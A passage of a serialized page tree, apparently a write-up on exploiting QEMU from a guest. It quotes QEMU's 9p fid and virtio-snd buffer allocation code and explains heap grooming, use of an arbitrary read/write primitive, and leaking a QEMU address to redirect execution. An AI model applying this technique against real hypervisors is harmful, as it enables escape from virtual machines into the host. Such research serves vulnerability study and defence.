",{"type":23,"tag":230,"props":131932,"children":131933},{"style":268},[131934],{"type":29,"value":863},{"type":23,"tag":230,"props":131936,"children":131937},{"style":268},[131938],{"type":29,"value":53028},{"type":23,"tag":230,"props":131940,"children":131941},{"style":274},[131942],{"type":29,"value":131943},"EINVAL;\n",{"type":23,"tag":230,"props":131945,"children":131946},{"class":232,"line":514},[131947,131951],{"type":23,"tag":230,"props":131948,"children":131949},{"style":866},[131950],{"type":29,"value":62324},{"type":23,"tag":230,"props":131952,"children":131953},{"style":274},[131954],{"type":29,"value":62329},{"type":23,"tag":230,"props":131956,"children":131957},{"class":232,"line":897},[131958],{"type":23,"tag":230,"props":131959,"children":131960},{"style":274},[131961],{"type":29,"value":5686},{"type":23,"tag":230,"props":131963,"children":131964},{"class":232,"line":960},[131965,131970,131974,131979,131983,131988,131992,131996],{"type":23,"tag":230,"props":131966,"children":131967},{"style":262},[131968],{"type":29,"value":131969},"        newfidp",{"type":23,"tag":230,"props":131971,"children":131972},{"style":274},[131973],{"type":29,"value":16084},{"type":23,"tag":230,"props":131975,"children":131976},{"style":262},[131977],{"type":29,"value":131978},"uid",{"type":23,"tag":230,"props":131980,"children":131981},{"style":268},[131982],{"type":29,"value":271},{"type":23,"tag":230,"props":131984,"children":131985},{"style":262},[131986],{"type":29,"value":131987}," fidp",{"type":23,"tag":230,"props":131989,"children":131990},{"style":274},[131991],{"type":29,"value":16084},{"type":23,"tag":230,"props":131993,"children":131994},{"style":262},[131995],{"type":29,"value":131978},{"type":23,"tag":230,"props":131997,"children":131998},{"style":274},[131999],{"type":29,"value":511},{"type":23,"tag":230,"props":132001,"children":132002},{"class":232,"line":969},[132003,132008,132012,132016,132021,132025,132029,132033,132037],{"type":23,"tag":230,"props":132004,"children":132005},{"style":294},[132006],{"type":29,"value":132007},"        v9fs_path_copy",{"type":23,"tag":230,"props":132009,"children":132010},{"style":274},[132011],{"type":29,"value":302},{"type":23,"tag":230,"props":132013,"children":132014},{"style":268},[132015],{"type":29,"value":5448},{"type":23,"tag":230,"props":132017,"children":132018},{"style":262},[132019],{"type":29,"value":132020},"newfidp",{"type":23,"tag":230,"props":132022,"children":132023},{"style":274},[132024],{"type":29,"value":16084},{"type":23,"tag":230,"props":132026,"children":132027},{"style":262},[132028],{"type":29,"value":114103},{"type":23,"tag":230,"props":132030,"children":132031},{"style":274},[132032],{"type":29,"value":684},{"type":23,"tag":230,"props":132034,"children":132035},{"style":268},[132036],{"type":29,"value":5448},{"type":23,"tag":230,"props":132038,"children":132039},{"style":274},[132040],{"type":29,"value":132041},"path);\n",{"type":23,"tag":230,"props":132043,"children":132044},{"class":232,"line":4526},[132045],{"type":23,"tag":230,"props":132046,"children":132047},{"style":274},[132048],{"type":29,"value":1552},{"type":23,"tag":230,"props":132050,"children":132051},{"class":232,"line":4534},[132052],{"type":23,"tag":230,"props":132053,"children":132054},{"emptyLinePlaceholder":18},[132055],{"type":29,"value":459},{"type":23,"tag":230,"props":132057,"children":132058},{"class":232,"line":4542},[132059],{"type":23,"tag":230,"props":132060,"children":132061},{"style":274},[132062],{"type":29,"value":106580},{"type":23,"tag":230,"props":132064,"children":132065},{"class":232,"line":4559},[132066],{"type":23,"tag":230,"props":132067,"children":132068},{"style":274},[132069],{"type":29,"value":975},{"type":23,"tag":230,"props":132071,"children":132072},{"class":232,"line":4587},[132073],{"type":23,"tag":230,"props":132074,"children":132075},{"emptyLinePlaceholder":18},[132076],{"type":29,"value":459},{"type":23,"tag":230,"props":132078,"children":132079},{"class":232,"line":4595},[132080,132084,132089,132093,132097,132102,132106,132110,132114,132119,132124],{"type":23,"tag":230,"props":132081,"children":132082},{"style":256},[132083],{"type":29,"value":52817},{"type":23,"tag":230,"props":132085,"children":132086},{"style":274},[132087],{"type":29,"value":132088}," V9fsFidState ",{"type":23,"tag":230,"props":132090,"children":132091},{"style":268},[132092],{"type":29,"value":6909},{"type":23,"tag":230,"props":132094,"children":132095},{"style":294},[132096],{"type":29,"value":131706},{"type":23,"tag":230,"props":132098,"children":132099},{"style":274},[132100],{"type":29,"value":132101},"(V9fsState ",{"type":23,"tag":230,"props":132103,"children":132104},{"style":268},[132105],{"type":29,"value":6909},{"type":23,"tag":230,"props":132107,"children":132108},{"style":262},[132109],{"type":29,"value":12982},{"type":23,"tag":230,"props":132111,"children":132112},{"style":274},[132113],{"type":29,"value":684},{"type":23,"tag":230,"props":132115,"children":132116},{"style":256},[132117],{"type":29,"value":132118},"int32_t",{"type":23,"tag":230,"props":132120,"children":132121},{"style":262},[132122],{"type":29,"value":132123}," fid",{"type":23,"tag":230,"props":132125,"children":132126},{"style":274},[132127],{"type":29,"value":4516},{"type":23,"tag":230,"props":132129,"children":132130},{"class":232,"line":4619},[132131],{"type":23,"tag":230,"props":132132,"children":132133},{"style":274},[132134],{"type":29,"value":13211},{"type":23,"tag":230,"props":132136,"children":132137},{"class":232,"line":4627},[132138,132142,132146],{"type":23,"tag":230,"props":132139,"children":132140},{"style":274},[132141],{"type":29,"value":129870},{"type":23,"tag":230,"props":132143,"children":132144},{"style":268},[132145],{"type":29,"value":6909},{"type":23,"tag":230,"props":132147,"children":132148},{"style":274},[132149],{"type":29,"value":52938},{"type":23,"tag":230,"props":132151,"children":132152},{"class":232,"line":4659},[132153],{"type":23,"tag":230,"props":132154,"children":132155},{"emptyLinePlaceholder":18},[132156],{"type":29,"value":459},{"type":23,"tag":230,"props":132158,"children":132159},{"class":232,"line":4671},[132160,132165,132169,132174,132178,132182,132186,132191,132195,132200],{"type":23,"tag":230,"props":132161,"children":132162},{"style":274},[132163],{"type":29,"value":132164},"    f ",{"type":23,"tag":230,"props":132166,"children":132167},{"style":268},[132168],{"type":29,"value":863},{"type":23,"tag":230,"props":132170,"children":132171},{"style":294},[132172],{"type":29,"value":132173}," g_hash_table_lookup",{"type":23,"tag":230,"props":132175,"children":132176},{"style":274},[132177],{"type":29,"value":302},{"type":23,"tag":230,"props":132179,"children":132180},{"style":262},[132181],{"type":29,"value":12982},{"type":23,"tag":230,"props":132183,"children":132184},{"style":274},[132185],{"type":29,"value":16084},{"type":23,"tag":230,"props":132187,"children":132188},{"style":262},[132189],{"type":29,"value":132190},"fids",{"type":23,"tag":230,"props":132192,"children":132193},{"style":274},[132194],{"type":29,"value":684},{"type":23,"tag":230,"props":132196,"children":132197},{"style":294},[132198],{"type":29,"value":132199},"GINT_TO_POINTER",{"type":23,"tag":230,"props":132201,"children":132202},{"style":274},[132203],{"type":29,"value":132204},"(fid));\n",{"type":23,"tag":230,"props":132206,"children":132207},{"class":232,"line":4688},[132208,132212],{"type":23,"tag":230,"props":132209,"children":132210},{"style":866},[132211],{"type":29,"value":1493},{"type":23,"tag":230,"props":132213,"children":132214},{"style":274},[132215],{"type":29,"value":132216}," (f) {\n",{"type":23,"tag":230,"props":132218,"children":132219},{"class":232,"line":4701},[132220],{"type":23,"tag":230,"props":132221,"children":132222},{"style":237},[132223],{"type":29,"value":132224},"        /* If fid is already there return NULL */\n",{"type":23,"tag":230,"props":132226,"children":132227},{"class":232,"line":4724},[132228,132233,132237,132241,132245,132250],{"type":23,"tag":230,"props":132229,"children":132230},{"style":294},[132231],{"type":29,"value":132232},"        BUG_ON",{"type":23,"tag":230,"props":132234,"children":132235},{"style":274},[132236],{"type":29,"value":302},{"type":23,"tag":230,"props":132238,"children":132239},{"style":262},[132240],{"type":29,"value":35377},{"type":23,"tag":230,"props":132242,"children":132243},{"style":274},[132244],{"type":29,"value":16084},{"type":23,"tag":230,"props":132246,"children":132247},{"style":262},[132248],{"type":29,"value":132249},"clunked",{"type":23,"tag":230,"props":132251,"children":132252},{"style":274},[132253],{"type":29,"value":753},{"type":23,"tag":230,"props":132255,"children":132256},{"class":232,"line":4741},[132257,132261,132265],{"type":23,"tag":230,"props":132258,"children":132259},{"style":866},[132260],{"type":29,"value":3554},{"type":23,"tag":230,"props":132262,"children":132263},{"style":256},[132264],{"type":29,"value":129549},{"type":23,"tag":230,"props":132266,"children":132267},{"style":274},[132268],{"type":29,"value":511},{"type":23,"tag":230,"props":132270,"children":132271},{"class":232,"line":4759},[132272],{"type":23,"tag":230,"props":132273,"children":132274},{"style":274},[132275],{"type":29,"value":1552},{"type":23,"tag":230,"props":132277,"children":132278},{"class":232,"line":4768},[132279,132283,132287,132292,132297,132301],{"type":23,"tag":230,"props":132280,"children":132281},{"style":274},[132282],{"type":29,"value":132164},{"type":23,"tag":230,"props":132284,"children":132285},{"style":268},[132286],{"type":29,"value":863},{"type":23,"tag":230,"props":132288,"children":132289},{"style":294},[132290],{"type":29,"value":132291}," g_new0",{"type":23,"tag":230,"props":132293,"children":132294},{"style":274},[132295],{"type":29,"value":132296},"(V9fsFidState, ",{"type":23,"tag":230,"props":132298,"children":132299},{"style":5149},[132300],{"type":29,"value":6348},{"type":23,"tag":230,"props":132302,"children":132303},{"style":274},[132304],{"type":29,"value":753},{"type":23,"tag":230,"props":132306,"children":132307},{"class":232,"line":4776},[132308],{"type":23,"tag":230,"props":132309,"children":132310},{"emptyLinePlaceholder":18},[132311],{"type":29,"value":459},{"type":23,"tag":230,"props":132313,"children":132314},{"class":232,"line":4784},[132315],{"type":23,"tag":230,"props":132316,"children":132317},{"style":274},[132318],{"type":29,"value":106580},{"type":23,"tag":32,"props":132320,"children":132321},{},[132322,132324,132329],{"type":29,"value":132323},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":71,"props":132325,"children":132327},{"className":132326},[],[132328],{"type":29,"value":131124},{"type":29,"value":130461},{"type":23,"tag":220,"props":132331,"children":132333},{"code":132332},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[132334],{"type":23,"tag":71,"props":132335,"children":132336},{"__ignoreMap":7},[132337],{"type":29,"value":132332},{"type":23,"tag":192,"props":132339,"children":132341},{"id":132340},"leaking-a-qemu-address",[132342],{"type":29,"value":132343},"Leaking a QEMU Address",{"type":23,"tag":32,"props":132345,"children":132346},{},[132347],{"type":29,"value":132348},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":32,"props":132350,"children":132351},{},[132352,132354,132359],{"type":29,"value":132353},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":71,"props":132355,"children":132357},{"className":132356},[],[132358],{"type":29,"value":125544},{"type":29,"value":218},{"type":23,"tag":220,"props":132361,"children":132363},{"code":132362,"language":2148,"meta":7,"className":18839,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[132364],{"type":23,"tag":71,"props":132365,"children":132366},{"__ignoreMap":7},[132367,132410,132417,132448,132463,132478,132490,132503,132510,132517,132524,132535,132550,132557,132585,132604,132615,132622,132630,132667,132688,132700,132713,132726,132752,132764,132771,132809,132816,132823,132830,132861,132916,132928,132969,132992,133021,133048,133075,133107],{"type":23,"tag":230,"props":132368,"children":132369},{"class":232,"line":233},[132370,132374,132378,132382,132386,132390,132394,132398,132402,132406],{"type":23,"tag":230,"props":132371,"children":132372},{"style":256},[132373],{"type":29,"value":52817},{"type":23,"tag":230,"props":132375,"children":132376},{"style":256},[132377],{"type":29,"value":52822},{"type":23,"tag":230,"props":132379,"children":132380},{"style":294},[132381],{"type":29,"value":125623},{"type":23,"tag":230,"props":132383,"children":132384},{"style":274},[132385],{"type":29,"value":125628},{"type":23,"tag":230,"props":132387,"children":132388},{"style":268},[132389],{"type":29,"value":6909},{"type":23,"tag":230,"props":132391,"children":132392},{"style":262},[132393],{"type":29,"value":125637},{"type":23,"tag":230,"props":132395,"children":132396},{"style":274},[132397],{"type":29,"value":125642},{"type":23,"tag":230,"props":132399,"children":132400},{"style":268},[132401],{"type":29,"value":6909},{"type":23,"tag":230,"props":132403,"children":132404},{"style":262},[132405],{"type":29,"value":125651},{"type":23,"tag":230,"props":132407,"children":132408},{"style":274},[132409],{"type":29,"value":4516},{"type":23,"tag":230,"props":132411,"children":132412},{"class":232,"line":243},[132413],{"type":23,"tag":230,"props":132414,"children":132415},{"style":274},[132416],{"type":29,"value":13211},{"type":23,"tag":230,"props":132418,"children":132419},{"class":232,"line":252},[132420,132425,132429,132434,132438,132443],{"type":23,"tag":230,"props":132421,"children":132422},{"style":274},[132423],{"type":29,"value":132424},"    VirtIOSound ",{"type":23,"tag":230,"props":132426,"children":132427},{"style":268},[132428],{"type":29,"value":6909},{"type":23,"tag":230,"props":132430,"children":132431},{"style":274},[132432],{"type":29,"value":132433},"vsnd ",{"type":23,"tag":230,"props":132435,"children":132436},{"style":268},[132437],{"type":29,"value":863},{"type":23,"tag":230,"props":132439,"children":132440},{"style":294},[132441],{"type":29,"value":132442}," VIRTIO_SND",{"type":23,"tag":230,"props":132444,"children":132445},{"style":274},[132446],{"type":29,"value":132447},"(vdev);\n",{"type":23,"tag":230,"props":132449,"children":132450},{"class":232,"line":280},[132451,132455,132459],{"type":23,"tag":230,"props":132452,"children":132453},{"style":274},[132454],{"type":29,"value":126641},{"type":23,"tag":230,"props":132456,"children":132457},{"style":268},[132458],{"type":29,"value":6909},{"type":23,"tag":230,"props":132460,"children":132461},{"style":274},[132462],{"type":29,"value":126650},{"type":23,"tag":230,"props":132464,"children":132465},{"class":232,"line":334},[132466,132470,132474],{"type":23,"tag":230,"props":132467,"children":132468},{"style":274},[132469],{"type":29,"value":125670},{"type":23,"tag":230,"props":132471,"children":132472},{"style":268},[132473],{"type":29,"value":6909},{"type":23,"tag":230,"props":132475,"children":132476},{"style":274},[132477],{"type":29,"value":125679},{"type":23,"tag":230,"props":132479,"children":132480},{"class":232,"line":371},[132481,132485],{"type":23,"tag":230,"props":132482,"children":132483},{"style":256},[132484],{"type":29,"value":18889},{"type":23,"tag":230,"props":132486,"children":132487},{"style":274},[132488],{"type":29,"value":132489}," msg_sz, size;\n",{"type":23,"tag":230,"props":132491,"children":132492},{"class":232,"line":391},[132493,132498],{"type":23,"tag":230,"props":132494,"children":132495},{"style":256},[132496],{"type":29,"value":132497},"    uint32_t",{"type":23,"tag":230,"props":132499,"children":132500},{"style":274},[132501],{"type":29,"value":132502}," stream_id;\n",{"type":23,"tag":230,"props":132504,"children":132505},{"class":232,"line":400},[132506],{"type":23,"tag":230,"props":132507,"children":132508},{"emptyLinePlaceholder":18},[132509],{"type":29,"value":459},{"type":23,"tag":230,"props":132511,"children":132512},{"class":232,"line":444},[132513],{"type":23,"tag":230,"props":132514,"children":132515},{"style":274},[132516],{"type":29,"value":106580},{"type":23,"tag":230,"props":132518,"children":132519},{"class":232,"line":453},[132520],{"type":23,"tag":230,"props":132521,"children":132522},{"emptyLinePlaceholder":18},[132523],{"type":29,"value":459},{"type":23,"tag":230,"props":132525,"children":132526},{"class":232,"line":462},[132527,132531],{"type":23,"tag":230,"props":132528,"children":132529},{"style":866},[132530],{"type":29,"value":5371},{"type":23,"tag":230,"props":132532,"children":132533},{"style":274},[132534],{"type":29,"value":125705},{"type":23,"tag":230,"props":132536,"children":132537},{"class":232,"line":471},[132538,132542,132546],{"type":23,"tag":230,"props":132539,"children":132540},{"style":274},[132541],{"type":29,"value":125713},{"type":23,"tag":230,"props":132543,"children":132544},{"style":268},[132545],{"type":29,"value":6909},{"type":23,"tag":230,"props":132547,"children":132548},{"style":274},[132549],{"type":29,"value":125722},{"type":23,"tag":230,"props":132551,"children":132552},{"class":232,"line":500},[132553],{"type":23,"tag":230,"props":132554,"children":132555},{"emptyLinePlaceholder":18},[132556],{"type":29,"value":459},{"type":23,"tag":230,"props":132558,"children":132559},{"class":232,"line":514},[132560,132564,132568,132572,132576,132580],{"type":23,"tag":230,"props":132561,"children":132562},{"style":274},[132563],{"type":29,"value":125737},{"type":23,"tag":230,"props":132565,"children":132566},{"style":268},[132567],{"type":29,"value":863},{"type":23,"tag":230,"props":132569,"children":132570},{"style":294},[132571],{"type":29,"value":125746},{"type":23,"tag":230,"props":132573,"children":132574},{"style":274},[132575],{"type":29,"value":125751},{"type":23,"tag":230,"props":132577,"children":132578},{"style":256},[132579],{"type":29,"value":57101},{"type":23,"tag":230,"props":132581,"children":132582},{"style":274},[132583],{"type":29,"value":132584},"(VirtQueueElement));\n",{"type":23,"tag":230,"props":132586,"children":132587},{"class":232,"line":897},[132588,132592,132596,132600],{"type":23,"tag":230,"props":132589,"children":132590},{"style":866},[132591],{"type":29,"value":5611},{"type":23,"tag":230,"props":132593,"children":132594},{"style":274},[132595],{"type":29,"value":664},{"type":23,"tag":230,"props":132597,"children":132598},{"style":268},[132599],{"type":29,"value":22936},{"type":23,"tag":230,"props":132601,"children":132602},{"style":274},[132603],{"type":29,"value":125785},{"type":23,"tag":230,"props":132605,"children":132606},{"class":232,"line":960},[132607,132611],{"type":23,"tag":230,"props":132608,"children":132609},{"style":866},[132610],{"type":29,"value":5637},{"type":23,"tag":230,"props":132612,"children":132613},{"style":274},[132614],{"type":29,"value":511},{"type":23,"tag":230,"props":132616,"children":132617},{"class":232,"line":969},[132618],{"type":23,"tag":230,"props":132619,"children":132620},{"style":274},[132621],{"type":29,"value":5686},{"type":23,"tag":230,"props":132623,"children":132624},{"class":232,"line":4526},[132625],{"type":23,"tag":230,"props":132626,"children":132627},{"style":237},[132628],{"type":29,"value":132629},"        /* get the message hdr object */\n",{"type":23,"tag":230,"props":132631,"children":132632},{"class":232,"line":4534},[132633,132638,132642,132647,132651,132655,132659,132663],{"type":23,"tag":230,"props":132634,"children":132635},{"style":274},[132636],{"type":29,"value":132637},"        msg_sz ",{"type":23,"tag":230,"props":132639,"children":132640},{"style":268},[132641],{"type":29,"value":863},{"type":23,"tag":230,"props":132643,"children":132644},{"style":294},[132645],{"type":29,"value":132646}," iov_to_buf",{"type":23,"tag":230,"props":132648,"children":132649},{"style":274},[132650],{"type":29,"value":302},{"type":23,"tag":230,"props":132652,"children":132653},{"style":262},[132654],{"type":29,"value":53837},{"type":23,"tag":230,"props":132656,"children":132657},{"style":274},[132658],{"type":29,"value":16084},{"type":23,"tag":230,"props":132660,"children":132661},{"style":262},[132662],{"type":29,"value":126189},{"type":23,"tag":230,"props":132664,"children":132665},{"style":274},[132666],{"type":29,"value":388},{"type":23,"tag":230,"props":132668,"children":132669},{"class":232,"line":4542},[132670,132675,132679,132684],{"type":23,"tag":230,"props":132671,"children":132672},{"style":262},[132673],{"type":29,"value":132674},"                            elem",{"type":23,"tag":230,"props":132676,"children":132677},{"style":274},[132678],{"type":29,"value":16084},{"type":23,"tag":230,"props":132680,"children":132681},{"style":262},[132682],{"type":29,"value":132683},"out_num",{"type":23,"tag":230,"props":132685,"children":132686},{"style":274},[132687],{"type":29,"value":388},{"type":23,"tag":230,"props":132689,"children":132690},{"class":232,"line":4559},[132691,132696],{"type":23,"tag":230,"props":132692,"children":132693},{"style":5149},[132694],{"type":29,"value":132695},"                            0",{"type":23,"tag":230,"props":132697,"children":132698},{"style":274},[132699],{"type":29,"value":388},{"type":23,"tag":230,"props":132701,"children":132702},{"class":232,"line":4587},[132703,132708],{"type":23,"tag":230,"props":132704,"children":132705},{"style":268},[132706],{"type":29,"value":132707},"                            &",{"type":23,"tag":230,"props":132709,"children":132710},{"style":274},[132711],{"type":29,"value":132712},"hdr,\n",{"type":23,"tag":230,"props":132714,"children":132715},{"class":232,"line":4595},[132716,132721],{"type":23,"tag":230,"props":132717,"children":132718},{"style":256},[132719],{"type":29,"value":132720},"                            sizeof",{"type":23,"tag":230,"props":132722,"children":132723},{"style":274},[132724],{"type":29,"value":132725},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":230,"props":132727,"children":132728},{"class":232,"line":4619},[132729,132733,132738,132742,132747],{"type":23,"tag":230,"props":132730,"children":132731},{"style":866},[132732],{"type":29,"value":5611},{"type":23,"tag":230,"props":132734,"children":132735},{"style":274},[132736],{"type":29,"value":132737}," (msg_sz ",{"type":23,"tag":230,"props":132739,"children":132740},{"style":268},[132741],{"type":29,"value":18013},{"type":23,"tag":230,"props":132743,"children":132744},{"style":256},[132745],{"type":29,"value":132746}," sizeof",{"type":23,"tag":230,"props":132748,"children":132749},{"style":274},[132750],{"type":29,"value":132751},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":230,"props":132753,"children":132754},{"class":232,"line":4627},[132755,132759],{"type":23,"tag":230,"props":132756,"children":132757},{"style":866},[132758],{"type":29,"value":62324},{"type":23,"tag":230,"props":132760,"children":132761},{"style":274},[132762],{"type":29,"value":132763}," rx_err;\n",{"type":23,"tag":230,"props":132765,"children":132766},{"class":232,"line":4659},[132767],{"type":23,"tag":230,"props":132768,"children":132769},{"style":274},[132770],{"type":29,"value":5686},{"type":23,"tag":230,"props":132772,"children":132773},{"class":232,"line":4671},[132774,132779,132783,132787,132791,132796,132800,132805],{"type":23,"tag":230,"props":132775,"children":132776},{"style":274},[132777],{"type":29,"value":132778},"        stream_id ",{"type":23,"tag":230,"props":132780,"children":132781},{"style":268},[132782],{"type":29,"value":863},{"type":23,"tag":230,"props":132784,"children":132785},{"style":294},[132786],{"type":29,"value":127651},{"type":23,"tag":230,"props":132788,"children":132789},{"style":274},[132790],{"type":29,"value":302},{"type":23,"tag":230,"props":132792,"children":132793},{"style":262},[132794],{"type":29,"value":132795},"hdr",{"type":23,"tag":230,"props":132797,"children":132798},{"style":274},[132799],{"type":29,"value":312},{"type":23,"tag":230,"props":132801,"children":132802},{"style":262},[132803],{"type":29,"value":132804},"stream_id",{"type":23,"tag":230,"props":132806,"children":132807},{"style":274},[132808],{"type":29,"value":753},{"type":23,"tag":230,"props":132810,"children":132811},{"class":232,"line":4688},[132812],{"type":23,"tag":230,"props":132813,"children":132814},{"emptyLinePlaceholder":18},[132815],{"type":29,"value":459},{"type":23,"tag":230,"props":132817,"children":132818},{"class":232,"line":4701},[132819],{"type":23,"tag":230,"props":132820,"children":132821},{"style":274},[132822],{"type":29,"value":125818},{"type":23,"tag":230,"props":132824,"children":132825},{"class":232,"line":4724},[132826],{"type":23,"tag":230,"props":132827,"children":132828},{"emptyLinePlaceholder":18},[132829],{"type":29,"value":459},{"type":23,"tag":230,"props":132831,"children":132832},{"class":232,"line":4741},[132833,132837,132841,132845,132849,132853,132857],{"type":23,"tag":230,"props":132834,"children":132835},{"style":294},[132836],{"type":29,"value":125833},{"type":23,"tag":230,"props":132838,"children":132839},{"style":274},[132840],{"type":29,"value":302},{"type":23,"tag":230,"props":132842,"children":132843},{"style":268},[132844],{"type":29,"value":5448},{"type":23,"tag":230,"props":132846,"children":132847},{"style":262},[132848],{"type":29,"value":920},{"type":23,"tag":230,"props":132850,"children":132851},{"style":274},[132852],{"type":29,"value":16084},{"type":23,"tag":230,"props":132854,"children":132855},{"style":262},[132856],{"type":29,"value":125854},{"type":23,"tag":230,"props":132858,"children":132859},{"style":274},[132860],{"type":29,"value":827},{"type":23,"tag":230,"props":132862,"children":132863},{"class":232,"line":4759},[132864,132868,132872,132876,132880,132884,132888,132892,132896,132900,132904,132908,132912],{"type":23,"tag":230,"props":132865,"children":132866},{"style":274},[132867],{"type":29,"value":125866},{"type":23,"tag":230,"props":132869,"children":132870},{"style":268},[132871],{"type":29,"value":863},{"type":23,"tag":230,"props":132873,"children":132874},{"style":294},[132875],{"type":29,"value":125875},{"type":23,"tag":230,"props":132877,"children":132878},{"style":274},[132879],{"type":29,"value":302},{"type":23,"tag":230,"props":132881,"children":132882},{"style":262},[132883],{"type":29,"value":53837},{"type":23,"tag":230,"props":132885,"children":132886},{"style":274},[132887],{"type":29,"value":16084},{"type":23,"tag":230,"props":132889,"children":132890},{"style":262},[132891],{"type":29,"value":125892},{"type":23,"tag":230,"props":132893,"children":132894},{"style":274},[132895],{"type":29,"value":684},{"type":23,"tag":230,"props":132897,"children":132898},{"style":262},[132899],{"type":29,"value":53837},{"type":23,"tag":230,"props":132901,"children":132902},{"style":274},[132903],{"type":29,"value":16084},{"type":23,"tag":230,"props":132905,"children":132906},{"style":262},[132907],{"type":29,"value":125909},{"type":23,"tag":230,"props":132909,"children":132910},{"style":274},[132911],{"type":29,"value":703},{"type":23,"tag":230,"props":132913,"children":132914},{"style":268},[132915],{"type":29,"value":52634},{"type":23,"tag":230,"props":132917,"children":132918},{"class":232,"line":4768},[132919,132923],{"type":23,"tag":230,"props":132920,"children":132921},{"style":256},[132922],{"type":29,"value":125925},{"type":23,"tag":230,"props":132924,"children":132925},{"style":274},[132926],{"type":29,"value":132927},"(virtio_snd_pcm_status);\n",{"type":23,"tag":230,"props":132929,"children":132930},{"class":232,"line":4776},[132931,132935,132939,132943,132947,132951,132955,132959,132964],{"type":23,"tag":230,"props":132932,"children":132933},{"style":274},[132934],{"type":29,"value":125943},{"type":23,"tag":230,"props":132936,"children":132937},{"style":268},[132938],{"type":29,"value":863},{"type":23,"tag":230,"props":132940,"children":132941},{"style":294},[132942],{"type":29,"value":125952},{"type":23,"tag":230,"props":132944,"children":132945},{"style":274},[132946],{"type":29,"value":302},{"type":23,"tag":230,"props":132948,"children":132949},{"style":256},[132950],{"type":29,"value":57101},{"type":23,"tag":230,"props":132952,"children":132953},{"style":274},[132954],{"type":29,"value":125965},{"type":23,"tag":230,"props":132956,"children":132957},{"style":268},[132958],{"type":29,"value":6719},{"type":23,"tag":230,"props":132960,"children":132961},{"style":274},[132962],{"type":29,"value":132963}," size);",{"type":23,"tag":230,"props":132965,"children":132966},{"style":237},[132967],{"type":29,"value":132968},"    // [1]\n",{"type":23,"tag":230,"props":132970,"children":132971},{"class":232,"line":4784},[132972,132976,132980,132984,132988],{"type":23,"tag":230,"props":132973,"children":132974},{"style":262},[132975],{"type":29,"value":125982},{"type":23,"tag":230,"props":132977,"children":132978},{"style":274},[132979],{"type":29,"value":16084},{"type":23,"tag":230,"props":132981,"children":132982},{"style":262},[132983],{"type":29,"value":53837},{"type":23,"tag":230,"props":132985,"children":132986},{"style":268},[132987],{"type":29,"value":271},{"type":23,"tag":230,"props":132989,"children":132990},{"style":274},[132991],{"type":29,"value":125999},{"type":23,"tag":230,"props":132993,"children":132994},{"class":232,"line":4792},[132995,132999,133003,133007,133011,133016],{"type":23,"tag":230,"props":132996,"children":132997},{"style":262},[132998],{"type":29,"value":125982},{"type":23,"tag":230,"props":133000,"children":133001},{"style":274},[133002],{"type":29,"value":16084},{"type":23,"tag":230,"props":133004,"children":133005},{"style":262},[133006],{"type":29,"value":125651},{"type":23,"tag":230,"props":133008,"children":133009},{"style":268},[133010],{"type":29,"value":271},{"type":23,"tag":230,"props":133012,"children":133013},{"style":274},[133014],{"type":29,"value":133015}," vq;",{"type":23,"tag":230,"props":133017,"children":133018},{"style":237},[133019],{"type":29,"value":133020},"                                            // [2]\n",{"type":23,"tag":230,"props":133022,"children":133023},{"class":232,"line":4824},[133024,133028,133032,133036,133040,133044],{"type":23,"tag":230,"props":133025,"children":133026},{"style":262},[133027],{"type":29,"value":125982},{"type":23,"tag":230,"props":133029,"children":133030},{"style":274},[133031],{"type":29,"value":16084},{"type":23,"tag":230,"props":133033,"children":133034},{"style":262},[133035],{"type":29,"value":126039},{"type":23,"tag":230,"props":133037,"children":133038},{"style":268},[133039],{"type":29,"value":271},{"type":23,"tag":230,"props":133041,"children":133042},{"style":5149},[133043],{"type":29,"value":5386},{"type":23,"tag":230,"props":133045,"children":133046},{"style":274},[133047],{"type":29,"value":511},{"type":23,"tag":230,"props":133049,"children":133050},{"class":232,"line":4832},[133051,133055,133059,133063,133067,133071],{"type":23,"tag":230,"props":133052,"children":133053},{"style":262},[133054],{"type":29,"value":125982},{"type":23,"tag":230,"props":133056,"children":133057},{"style":274},[133058],{"type":29,"value":16084},{"type":23,"tag":230,"props":133060,"children":133061},{"style":262},[133062],{"type":29,"value":16228},{"type":23,"tag":230,"props":133064,"children":133065},{"style":268},[133066],{"type":29,"value":271},{"type":23,"tag":230,"props":133068,"children":133069},{"style":5149},[133070],{"type":29,"value":5386},{"type":23,"tag":230,"props":133072,"children":133073},{"style":274},[133074],{"type":29,"value":511},{"type":23,"tag":230,"props":133076,"children":133077},{"class":232,"line":4840},[133078,133082,133086,133090,133094,133098,133102],{"type":23,"tag":230,"props":133079,"children":133080},{"style":294},[133081],{"type":29,"value":126086},{"type":23,"tag":230,"props":133083,"children":133084},{"style":274},[133085],{"type":29,"value":302},{"type":23,"tag":230,